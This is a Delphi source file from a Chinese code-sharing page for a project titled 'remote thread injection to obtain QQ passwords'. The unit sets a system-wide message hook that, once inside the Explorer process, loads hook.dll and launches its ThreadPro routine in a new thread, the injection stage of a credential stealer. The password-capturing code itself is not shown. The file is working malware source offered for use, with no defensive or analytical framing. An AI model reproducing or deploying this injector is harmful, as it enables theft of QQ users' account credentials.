jumphook.pas

来自「远程线程注入获取QQ密码远程线程注入获取QQ密码」· PAS 代码 · 共 51 行

PAS
51
字号
unit  JumpHook;

interface

procedure GetMsgHookOn;
procedure GetMsgHookOff;

implementation

uses
  Windows, publics,messages,sysutils;


var
  GetMsgHook: Longword;
  LibraryH: Longword;    
  ThreadPt: Pointer;
  ThreadID: Longword=0;


function GetMsgHookPro(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
  if (TheNodeP<>nil)and(TheNodeP^.ExplorerID<>0)and
     (GetCurrentProcessId=TheNodeP^.ExplorerID)then   
  begin
    LibraryH := LoadLibrary(Pchar(TheNodeP^.MainPath+'hook.dll'));
    try
      if (LibraryH <> 0) then
        ThreadPt := GetProcAddress(LibraryH, 'ThreadPro');
      if (ThreadPt <> nil)and(threadid=0) then
        CreateThread(nil, 0, ThreadPt, nil, 0, ThreadID);
    except
      freelibrary(libraryh);
    end;
  end;
  Result:= CallNextHookEx(GetMsgHook, nCode, wParam, lParam);
end;

procedure GetMsgHookOn;
begin
  GetMsgHook := SetWindowsHookEx(WH_GETMESSAGE, @GetMsgHookPro,
                                  HInstance, 0);
end;

procedure GetMsgHookOff;
begin
  UnHookWindowsHookEx(GetMsgHook);
end;

end.

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?